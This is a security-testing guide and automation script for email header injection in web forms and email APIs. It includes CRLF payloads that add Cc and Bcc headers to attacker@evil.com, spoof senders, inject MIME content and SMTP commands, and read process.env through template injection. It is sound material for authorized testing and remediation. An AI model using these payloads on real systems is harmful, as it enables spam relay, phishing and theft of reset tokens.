web application security

Testing for Email Header Injection

Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.

contact-formcrlf-injectionemail-injectionemail-securityheader-injectionsmtp-injectionspam-relay
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing contact forms, feedback forms, or "email a friend" functionality
  • During assessment of password reset email functionality
  • When testing newsletter subscription or notification email systems
  • During penetration testing of applications that send emails based on user input
  • When auditing email-related API endpoints for header injection

Prerequisites

  • Burp Suite for intercepting and modifying HTTP requests
  • Understanding of SMTP protocol and email header structure
  • Knowledge of CRLF injection techniques (\r\n sequences)
  • Test email accounts for receiving injected emails
  • Access to application features that trigger email sending
  • SMTP server logs access for monitoring injection attempts

Workflow

Step 1 — Identify Email Injection Points

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
 
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
 
# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"

Step 2 — Test for CRLF Header Injection

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
 
# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
 
# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
 
# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
 
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"
 
# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"
 
# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"
 
# Double encoding
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"

Step 3 — Inject Custom Email Content

# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
 
# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
 
# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"
 
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"

Step 4 — Test IMAP/SMTP Injection

# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"
 
# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"
 
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"
 
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"

Step 5 — Test JSON-Based Email APIs

# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
 
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
 
# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'

Step 6 — Validate Findings

# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies
 
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
 
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
 
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)

Key Concepts

Concept Description
CRLF Injection Injecting carriage return and line feed characters to create new email headers
Header Injection Adding unauthorized headers (Cc, Bcc, From) to outgoing emails
Spam Relay Abusing email functionality to send spam to arbitrary recipients
Email Spoofing Modifying From or Reply-To headers to impersonate trusted senders
MIME Manipulation Injecting MIME boundaries to override email body content
SMTP Command Injection Injecting raw SMTP commands through unsanitized email parameters
Newline Characters \r\n (CRLF), \n (LF), \r (CR) used to separate email headers

Tools & Systems

Tool Purpose
Burp Suite HTTP proxy for modifying email-related form submissions
swaks Swiss Army Knife for SMTP testing and header injection validation
OWASP ZAP Automated scanner with email injection detection
mailhog Local SMTP testing server for capturing injected emails
smtp4dev Development SMTP server for monitoring email injection results
Nuclei Template scanner with email header injection detection templates

Common Scenarios

  1. Spam Relay — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain
  2. Phishing via Contact Form — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization
  3. Password Reset Hijack — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim
  4. Email Content Override — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content
  5. Internal Email Abuse — Use header injection to send emails to internal addresses not normally accessible through the application

Output Format

## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
 
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
 
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference: Testing for Email Header Injection

CRLF Encoding Variants

Encoding Representation Description
%0A LF URL-encoded line feed
%0D%0A CRLF URL-encoded carriage return + line feed
%0D CR URL-encoded carriage return
%250A Double-encoded LF Bypasses single decode
\n Raw LF Direct newline character

Injectable Headers

Header Impact Severity
Cc: Send copy to attacker High
Bcc: Hidden copy to attacker High
From: Email spoofing Medium
Reply-To: Phishing redirect Medium
Subject: Subject override Low
Content-Type: Body injection High
To: Additional recipients High

Common Injection Points

Endpoint Field Risk
/contact email, name, subject Header injection
/share to, from Recipient injection
/invite email Mass invitation abuse
/forgot-password email CC token to attacker
/api/send-email to, subject, body Full control

Attack Scenarios

Scenario Technique
Spam relay Inject BCC with mass recipients
Phishing Override From/Reply-To
Password reset hijack CC reset token email
Content override MIME boundary injection

Python Libraries

Library Version Purpose
requests >=2.28 HTTP form submission
json stdlib Report generation

References

Scripts 1

agent.py6.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing email header injection vulnerabilities.

Tests web application email functionality for SMTP header injection
via CRLF sequences, allowing injection of CC/BCC headers, From
spoofing, MIME manipulation, and spam relay abuse.
"""

import json
import sys
from pathlib import Path
from datetime import datetime

try:
    import requests
except ImportError:
    requests = None


CRLF_ENCODINGS = [
    ("%0A", "LF (URL-encoded)"),
    ("%0D%0A", "CRLF (URL-encoded)"),
    ("%0D", "CR (URL-encoded)"),
    ("\n", "Raw LF"),
    ("\r\n", "Raw CRLF"),
    ("%250A", "Double-encoded LF"),
    ("%25250A", "Triple-encoded LF"),
]

HEADER_PAYLOADS = [
    ("Cc:attacker@evil.com", "CC injection"),
    ("Bcc:attacker@evil.com", "BCC injection"),
    ("From:ceo@target.com", "From spoofing"),
    ("Reply-To:attacker@evil.com", "Reply-To hijack"),
    ("Subject:Injected Subject", "Subject override"),
    ("Content-Type:text/html", "Content-Type injection"),
    ("To:victim@target.com", "Additional recipient"),
]


class EmailHeaderInjectionAgent:
    """Tests web apps for email header injection vulnerabilities."""

    def __init__(self, target_url, output_dir="./email_injection"):
        self.target_url = target_url.rstrip("/")
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.findings = []

    def _post(self, path, data, content_type="form", timeout=15):
        if not requests:
            return None
        url = f"{self.target_url}{path}" if path.startswith("/") else self.target_url
        try:
            if content_type == "json":
                return requests.post(url, json=data, timeout=timeout)
            return requests.post(url, data=data, timeout=timeout)
        except requests.RequestException:
            return None

    def test_field_injection(self, endpoint, field_name, base_email,
                              base_payload=None):
        """Test a specific form field for header injection."""
        results = []
        base = base_payload or {}

        for crlf, crlf_desc in CRLF_ENCODINGS:
            for header, header_desc in HEADER_PAYLOADS:
                payload = {**base}
                payload[field_name] = f"{base_email}{crlf}{header}"

                resp = self._post(endpoint, payload)
                if not resp:
                    continue

                injected = False
                indicators = [
                    resp.status_code in (200, 302),
                    "sent" in resp.text.lower() or "success" in resp.text.lower(),
                    "error" not in resp.text.lower() and "invalid" not in resp.text.lower(),
                ]
                if sum(indicators) >= 2:
                    injected = True

                if injected:
                    result = {
                        "field": field_name,
                        "crlf_encoding": crlf_desc,
                        "header_injected": header_desc,
                        "payload": f"{base_email}{crlf}{header}",
                        "status_code": resp.status_code,
                    }
                    results.append(result)
                    self.findings.append({
                        "severity": "high",
                        "type": "Email Header Injection",
                        "detail": f"{field_name}: {header_desc} via {crlf_desc}",
                        "endpoint": endpoint,
                    })
                    break
        return results

    def test_contact_form(self, endpoint="/contact", base_email="test@test.com"):
        """Test a contact form for header injection across all fields."""
        fields_to_test = ["email", "name", "subject", "from", "reply_to"]
        base_payload = {
            "email": base_email,
            "name": "Test User",
            "subject": "Security Test",
            "message": "This is an authorized security test.",
        }
        all_results = []
        for field in fields_to_test:
            if field in base_payload or field in ("from", "reply_to"):
                results = self.test_field_injection(endpoint, field, base_email, base_payload)
                all_results.extend(results)
        return all_results

    def test_json_api(self, endpoint, base_email="test@test.com"):
        """Test JSON-based email API for injection."""
        results = []
        payloads = [
            {"to": f"{base_email}\nCc:attacker@evil.com", "subject": "Test", "body": "Test"},
            {"to": [base_email, "attacker@evil.com"], "subject": "Test", "body": "Test"},
            {"to": base_email, "subject": "Test\nBcc:attacker@evil.com", "body": "Test"},
        ]
        for i, payload in enumerate(payloads):
            resp = self._post(endpoint, payload, content_type="json")
            if resp and resp.status_code in (200, 201):
                results.append({
                    "payload_index": i,
                    "status": resp.status_code,
                    "response_preview": resp.text[:100],
                })
                self.findings.append({
                    "severity": "high",
                    "type": "JSON Email API Injection",
                    "detail": f"Payload {i} accepted at {endpoint}",
                })
        return results

    def test_smtp_commands(self, endpoint, field_name="email", base_email="test@test.com"):
        """Test for SMTP command injection."""
        smtp_payloads = [
            f"{base_email}\nRCPT TO:<attacker@evil.com>",
            f"{base_email}\nVRFY admin",
            f"{base_email}\nDATA\nSubject: Injected\n\nBody",
        ]
        results = []
        for payload in smtp_payloads:
            data = {field_name: payload, "message": "Test"}
            resp = self._post(endpoint, data)
            if resp and resp.status_code in (200, 302):
                results.append({"payload": payload[:60], "status": resp.status_code})
        return results

    def generate_report(self, endpoint="/contact"):
        form_results = self.test_contact_form(endpoint)

        report = {
            "report_date": datetime.utcnow().isoformat(),
            "target": self.target_url,
            "endpoint": endpoint,
            "form_injection_results": form_results,
            "findings": self.findings,
            "total_findings": len(self.findings),
        }
        out = self.output_dir / "email_injection_report.json"
        with open(out, "w") as f:
            json.dump(report, f, indent=2)
        print(json.dumps(report, indent=2))
        return report


def main():
    if len(sys.argv) < 2:
        print("Usage: agent.py <target_url> [--endpoint /contact]")
        sys.exit(1)
    url = sys.argv[1]
    endpoint = "/contact"
    if "--endpoint" in sys.argv:
        endpoint = sys.argv[sys.argv.index("--endpoint") + 1]
    agent = EmailHeaderInjectionAgent(url)
    agent.generate_report(endpoint)


if __name__ == "__main__":
    main()
Keep exploring